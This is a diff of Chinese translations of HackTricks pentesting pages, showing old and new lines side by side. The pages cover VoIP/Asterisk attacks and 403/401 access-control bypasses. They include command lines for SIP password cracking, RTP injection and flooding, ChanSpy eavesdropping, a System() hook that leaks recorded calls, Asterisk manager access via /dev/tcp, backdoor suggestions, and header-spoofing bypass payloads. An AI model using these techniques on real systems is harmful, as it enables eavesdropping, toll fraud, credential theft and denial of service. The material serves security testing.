如果你在**开放Wifi网络**中发现VoIP设备,你可以**嗅探所有信息**。此外,如果你在一个更封闭的网络中(通过以太网连接或受保护的Wifi),你可以在**PBX和网关**之间执行**MitM攻击,例如** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)以嗅探信息。
|
||||
|
||||
在网络信息中,你可能会找到**管理设备的网页凭据**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
|
||||
在网络信息中,你可能会找到**管理设备的网页凭证**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
|
||||
|
||||
要获取这些信息,你可以使用Wireshark、tcpdump等工具……但一个**专门创建的嗅探VoIP对话的工具是** [**ucsniff**](https://github.com/Seabreg/ucsniff)。
|
||||
|
||||
|
@ -317,9 +317,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
如果使用**SRTP**和**ZRTP**,**RTP数据包将不会是明文**。
|
||||
{% endhint %}
|
||||
|
||||
#### SIP凭据(密码暴力破解 - 离线)
|
||||
#### SIP凭证(密码暴力破解 - 离线)
|
||||
|
||||
[查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭据是如何发送的**。
|
||||
[查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭证是如何发送的**。
|
||||
|
||||
* **`sipdump`**和**`sipcrack`**,是**sipcrack**的一部分(`apt-get install sipcrack`):这些工具可以**从pcap中提取**SIP协议中的**摘要认证**并进行**暴力破解**。
|
||||
```bash
|
||||
|
@ -347,7 +347,7 @@ multimon -a DTMF -t wac pin.wav
|
|||
```
|
||||
### 免费通话 / Asterisks 连接配置错误
|
||||
|
||||
在 Asterisk 中,可以允许来自 **特定 IP 地址** 或 **任何 IP 地址** 的连接:
|
||||
在 Asterisk 中,可以允许来自 **特定 IP 地址** 的连接或来自 **任何 IP 地址** 的连接:
|
||||
```
|
||||
host=10.10.10.10
|
||||
host=dynamic
|
||||
|
@ -357,14 +357,14 @@ host=dynamic
|
|||
要定义用户,可以定义为:
|
||||
|
||||
* **`type=user`**:用户只能作为用户接听电话。
|
||||
* **`type=friend`**:可以作为对等方拨打电话并作为用户接听(与分机一起使用)
|
||||
* **`type=peer`**:可以作为对等方发送和接听电话(SIP-trunks)
|
||||
* **`type=friend`**:可以作为对等方拨打电话并作为用户接听(与扩展一起使用)
|
||||
* **`type=peer`**:可以作为对等方发送和接收电话(SIP-trunks)
|
||||
|
||||
还可以通过不安全变量建立信任:
|
||||
|
||||
* **`insecure=port`**:允许通过IP验证的对等连接。
|
||||
* **`insecure=invite`**:不需要对INVITE消息进行身份验证
|
||||
* **`insecure=port,invite`**:两者都可以
|
||||
* **`insecure=port,invite`**:两者都适用
|
||||
|
||||
{% hint style="warning" %}
|
||||
当使用**`type=friend`**时,**host**变量的**值**将**不被使用**,因此如果管理员**错误配置SIP-trunk**使用该值,**任何人都将能够连接到它**。
|
||||
|
@ -377,13 +377,13 @@ host=dynamic
|
|||
|
||||
### 免费通话 / Asterisks上下文错误配置
|
||||
|
||||
在Asterisk中,**上下文**是拨号计划中一个命名的容器或部分,**将相关的分机、操作和规则分组在一起**。拨号计划是Asterisk系统的核心组件,因为它定义了**如何处理和路由来电和去电**。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离。
|
||||
在Asterisk中,**上下文**是拨号计划中一个命名的容器或部分,**将相关的扩展、操作和规则组合在一起**。拨号计划是Asterisk系统的核心组件,因为它定义了**如何处理和路由来电和去电**。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离。
|
||||
|
||||
每个上下文在配置文件中定义,通常在**`extensions.conf`**文件中。上下文用方括号表示,上下文名称包含在其中。例如:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
在此上下文中,您定义扩展(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
|
||||
在上下文中,您定义了分机(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
|
||||
```scss
|
||||
[my_context]
|
||||
exten => 100,1,Answer()
|
||||
|
@ -439,7 +439,7 @@ VoIP 系统中的 IVRS 通常包括:
|
|||
|
||||
在 Asterisk VoIP 系统中,您可以使用拨号计划(**`extensions.conf`** 文件)和各种应用程序(如 `Background()`、`Playback()`、`Read()` 等)创建 IVR。这些应用程序帮助您播放语音提示、捕获用户输入并控制呼叫流程。
|
||||
|
||||
#### 漏洞配置示例
|
||||
#### 易受攻击的配置示例
|
||||
```scss
|
||||
exten => 0,100,Read(numbers,the_call,,,,5)
|
||||
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
|
||||
|
@ -460,7 +460,7 @@ exten => _X.,1,Dial(SIP/${EXTEN})
|
|||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
然而,如果 **`${EXTEN}`** 允许输入 **超过数字**(如在旧版 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。这将是结果:
|
||||
然而,如果 **`${EXTEN}`** 允许输入 **超过数字**(如在旧版本的 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。这将是结果:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
|
@ -468,7 +468,7 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|||
|
||||
## SIPDigestLeak 漏洞
|
||||
|
||||
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器(VoIP 到模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
|
||||
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器(VoIP 转模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
|
||||
|
||||
**[漏洞场景来自这里**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
|
@ -503,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call 允许一个 **网络用户**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后会拨打一个商业电话,当他 **接听电话** 时,用户将 **被呼叫并与代理连接**。
|
||||
Click2Call 允许一个 **网络用户**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后会拨打一个商业电话,当他 **接听电话** 时,用户将被 **呼叫并与代理连接**。
|
||||
|
||||
一个常见的 Asterisk 配置文件是:
|
||||
```scss
|
||||
|
@ -516,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* 之前的配置允许 **任何 IP 地址连接**(如果已知密码)。
|
||||
* 要 **组织一个电话**,如前所述,**不需要读取权限**,**只需要** **在写入中** **发起**。
|
||||
* 要 **组织一个通话**,如前所述,**不需要读取权限**,**只需要** **在写入中** **发起**。
|
||||
|
||||
拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
|
||||
|
||||
|
@ -533,11 +533,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
在 Asterisk 中,可以使用命令 **`ChanSpy`** 指定要监控的 **分机**(或所有分机)来听取正在进行的对话。此命令需要分配给一个分机。
|
||||
|
||||
例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果你 **拨打** **分机 333**,它将 **监控** **`all`** 的分机,**开始监听** 每当新的对话开始时 (**`b`**) 以静音模式 (**`q`**) 进行,因为我们不想进行互动。你可以通过按 **`*`** 或输入分机号码在进行的对话之间切换。
|
||||
例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果你 **拨打** **分机 333**,它将 **监控** **`all`** 分机,**开始监听** 每当新的对话开始时 (**`b`**) 以静音模式 (**`q`**) 进行,因为我们不想进行互动。你可以通过按 **`*`** 或输入分机号码在进行的对话之间切换。
|
||||
|
||||
也可以使用 **`ExtenSpy`** 仅监控一个分机。
|
||||
|
||||
除了监听对话外,还可以使用分机将其 **录制到文件** 中,例如:
|
||||
除了监听对话外,还可以使用分机将其 **录制到文件中**,例如:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```scss
|
||||
|
@ -559,7 +559,7 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
|
||||
RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时,RTP 代理软件通常无法依赖通过信令(例如 SIP)获取的 RTP IP 和端口信息。因此,一些 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者** 可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed,因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
|
||||
|
||||
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍会 **接受、转发和/或处理来自任何来源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。
|
||||
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。
|
||||
|
||||
Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
|
||||
|
||||
|
@ -587,10 +587,10 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
|
||||
有一个命令叫做 **`Shell`**,可以在必要时 **替代 `System`** 来执行系统命令。
|
||||
|
||||
{% hint style="warning" %}
|
||||
如果服务器**不允许在`System`**命令中使用某些字符(如在Elastix中),请检查Web服务器是否允许**以某种方式在系统内部创建文件**(如在Elastix或trixbox中),并利用它**创建一个后门脚本**,然后使用**`System`**来**执行**该**脚本**。
|
||||
如果服务器 **不允许在 `System`** 命令中使用某些字符(如在 Elastix 中),请检查网络服务器是否允许 **以某种方式在系统内部创建文件**(如在 Elastix 或 trixbox 中),并利用它 **创建一个后门脚本**,然后使用 **`System`** 来 **执行** 该 **脚本**。
|
||||
{% endhint %}
|
||||
|
||||
#### 有趣的本地文件和权限
|
||||
|
@ -600,37 +600,37 @@ There is command called **`Shell`** that could be used **instead of `System`** t
|
|||
* **mysql root 用户** 可能 **没有任何密码**。
|
||||
* 这可以用来创建一个新的 mysql 用户作为后门。
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> 包含Web面板管理员(FreePBX)的密码。
|
||||
* **`amportal.conf`** -> 包含网络面板管理员(FreePBX)的密码。
|
||||
* **`FreePBX.conf`** -> 包含用于访问数据库的用户 FreePBXuser 的密码。
|
||||
* 这可以用来创建一个新的 mysql 用户作为后门。
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> 包含多个明文密码,如mysql root密码、IMAPd密码、Web管理员密码。
|
||||
* **`Elastix.conf`** -> 包含多个明文密码,如 mysql root 密码、IMAPd 密码、网络管理员密码。
|
||||
* **多个文件夹** 将属于被攻陷的 asterisk 用户(如果不是以 root 身份运行)。该用户可以读取之前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他后门二进制文件。
|
||||
|
||||
### RTP 注入
|
||||
|
||||
可以使用工具如**`rtpinsertsound`**(`sudo apt install rtpinsertsound`)和**`rtpmixsound`**(`sudo apt install rtpmixsound`)在对话中插入**`.wav`**。
|
||||
可以使用 **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) 和 **`rtpmixsound`** (`sudo apt install rtpmixsound`) 等工具在对话中插入 **`.wav`** 文件。
|
||||
|
||||
或者您可以使用来自[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)的脚本来**扫描对话**(**`rtpscan.pl`**)、向对话发送一个**`.wav`**(**`rtpsend.pl`**)并在对话中**插入噪音**(**`rtpflood.pl`**)。
|
||||
或者您可以使用来自 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) 的脚本来 **扫描对话**(**`rtpscan.pl`**)、向对话发送 **`.wav`** 文件(**`rtpsend.pl`**)和 **在对话中插入噪音**(**`rtpflood.pl`**)。
|
||||
|
||||
### DoS
|
||||
|
||||
有几种方法可以尝试在 VoIP 服务器上实现 DoS。
|
||||
|
||||
* **`SIPPTS flood`**来自[**sippts**](https://github.com/Pepelux/sippts)**:SIPPTS洪水向目标发送无限消息。
|
||||
* **`SIPPTS flood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood 向目标发送无限消息。
|
||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
* **`SIPPTS ping`**来自[**sippts**](https://github.com/Pepelux/sippts)**:SIPPTS ping进行SIP ping以查看服务器响应时间。
|
||||
* **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。
|
||||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX 协议用于 Asterisk。
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于在UDP/IP上执行SIP/SDP INVITE消息洪水的工具。
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式良好的RTP数据包。需要知道正在使用的RTP端口(先嗅探)。
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一种在 UDP/IP 上执行 SIP/SDP INVITE 消息洪水的工具。
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式正确的 RTP 数据包。需要知道正在使用的 RTP 端口(先嗅探)。
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成 SIP 流量,因此也可以用于 DoS。
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 瑞士军刀。也可以用于执行 SIP 攻击。
|
||||
* 模糊测试工具:[**protos-sip**](https://www.kali.org/tools/protos-sip/),[**voiper**](https://github.com/gremwell/voiper)。
|
||||
* 模糊测试工具: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper)。
|
||||
|
||||
### 操作系统漏洞
|
||||
|
||||
安装像Asterisk这样的软件最简单的方法是下载一个已经安装了它的**操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能**不会再更新它们**,而**漏洞**会随着时间的推移被发现。
|
||||
安装像 Asterisk 这样的软件最简单的方法是下载一个已经安装了它的 **操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能 **不会再更新它们**,并且 **漏洞** 会随着时间的推移被发现。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -642,14 +642,14 @@ There is command called **`Shell`** that could be used **instead of `System`** t
|
|||
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的Web应用程序、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -658,8 +658,8 @@ There is command called **`Shell`** that could be used **instead of `System`** t
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -27,13 +27,13 @@
|
|||
|
||||
尝试使用 **不同的动词** 访问文件:`GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
|
||||
* 检查响应头,可能会提供一些信息。例如,**HEAD 的 200 响应**与 `Content-Length: 55` 意味着 **HEAD 动词可以访问信息**。但您仍然需要找到一种方法来提取该信息。
|
||||
* 使用 HTTP 头如 `X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
|
||||
* 检查响应头,可能会提供一些信息。例如,**HEAD 的 200 响应**,带有 `Content-Length: 55`,意味着 **HEAD 动词可以访问信息**。但您仍然需要找到一种方法来提取该信息。
|
||||
* 使用 HTTP 头,如 `X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
|
||||
* 使用 **`TRACE`** 动词,如果您非常幸运,可能在响应中也可以看到 **中间代理添加的头**,这可能会很有用。
|
||||
|
||||
## HTTP 头模糊测试
|
||||
|
||||
* **更改 Host 头** 为某个任意值 ([在这里有效](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* **更改 Host 头** 为某个任意值 ([这里有效](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* 尝试 [**使用其他用户代理**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) 访问资源。
|
||||
* **模糊测试 HTTP 头**:尝试使用 HTTP 代理 **头**、HTTP 基本身份验证和 NTLM 暴力破解(仅使用少量组合)及其他技术。为此,我创建了工具 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)。
|
||||
|
||||
|
@ -51,21 +51,21 @@
|
|||
* `X-ProxyUser-Ip: 127.0.0.1`
|
||||
* `Host: localhost`
|
||||
|
||||
如果 **路径受到保护**,您可以尝试使用这些其他头绕过路径保护:
|
||||
如果 **路径受到保护**,您可以尝试使用这些其他头来绕过路径保护:
|
||||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* 如果页面在 **代理后面**,可能是代理阻止您访问私人信息。尝试利用 [**HTTP 请求走私**](../../pentesting-web/http-request-smuggling/) **或** [**逐跳头**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* 模糊测试 [**特殊 HTTP 头**](special-http-headers.md) 寻找不同的响应。
|
||||
* **在模糊测试 HTTP 方法时模糊测试特殊 HTTP 头**。
|
||||
* **移除 Host 头**,也许您将能够绕过保护。
|
||||
* **删除 Host 头**,也许您将能够绕过保护。
|
||||
|
||||
## 路径 **模糊测试**
|
||||
|
||||
如果 _/path_ 被阻止:
|
||||
|
||||
* 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止,这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path(双重 URL 编码)
|
||||
* 尝试 **Unicode 绕过**: _/**%ef%bc%8f**path_(URL 编码字符类似于 "/"),因此当重新编码时将变为 _//path_,也许您已经绕过了 _/path_ 名称检查
|
||||
* 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止,这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path(双重 URL 编码)
|
||||
* 尝试 **Unicode 绕过**:_/**%ef%bc%8f**path_(URL 编码字符类似于 "/"),因此当重新编码时,它将变为 _//path_,也许您已经绕过了 _/path_ 名称检查
|
||||
* **其他路径绕过**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
|
@ -95,25 +95,25 @@
|
|||
|
||||
* 更改 **参数值**:从 **`id=123` --> `id=124`**
|
||||
* 向 URL 添加额外参数:`?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
* 移除参数
|
||||
* 删除参数
|
||||
* 重新排序参数
|
||||
* 使用特殊字符。
|
||||
* 在参数中执行边界测试 — 提供值如 _-234_ 或 _0_ 或 _99999999_(仅为一些示例值)。
|
||||
|
||||
## **协议版本**
|
||||
|
||||
如果使用 HTTP/1.1 **尝试使用 1.0** 或甚至测试是否 **支持 2.0**。
|
||||
如果使用 HTTP/1.1 **尝试使用 1.0**,甚至测试是否 **支持 2.0**。
|
||||
|
||||
## **其他绕过**
|
||||
|
||||
* 获取域的 **IP** 或 **CNAME** 并尝试 **直接联系** 它。
|
||||
* 尝试 **给服务器施加压力** 发送常见的 GET 请求 ([这对这个人和 Facebook 有效](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* 尝试 **给服务器施加压力**,发送常见的 GET 请求 ([这个人用 Facebook 有效](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。
|
||||
* **更改协议**:从 http 到 https,或从 https 到 http
|
||||
* 访问 [**https://archive.org/web/**](https://archive.org/web/) 并检查过去该文件是否 **全球可访问**。
|
||||
|
||||
## **暴力破解**
|
||||
|
||||
* **猜测密码**:测试以下常见凭据。您对受害者了解多少?或者 CTF 挑战的名称是什么?
|
||||
* **猜测密码**:测试以下常见凭据。您对受害者了解些什么?或者 CTF 挑战的名称?
|
||||
* [**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 尝试基本、摘要和 NTLM 身份验证。
|
||||
|
||||
{% code title="常见凭据" %}
|
||||
|
@ -134,21 +134,21 @@ guest guest
|
|||
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||||
* [Burp 扩展 - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,7 +156,7 @@ guest guest
|
|||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,16 +10,16 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
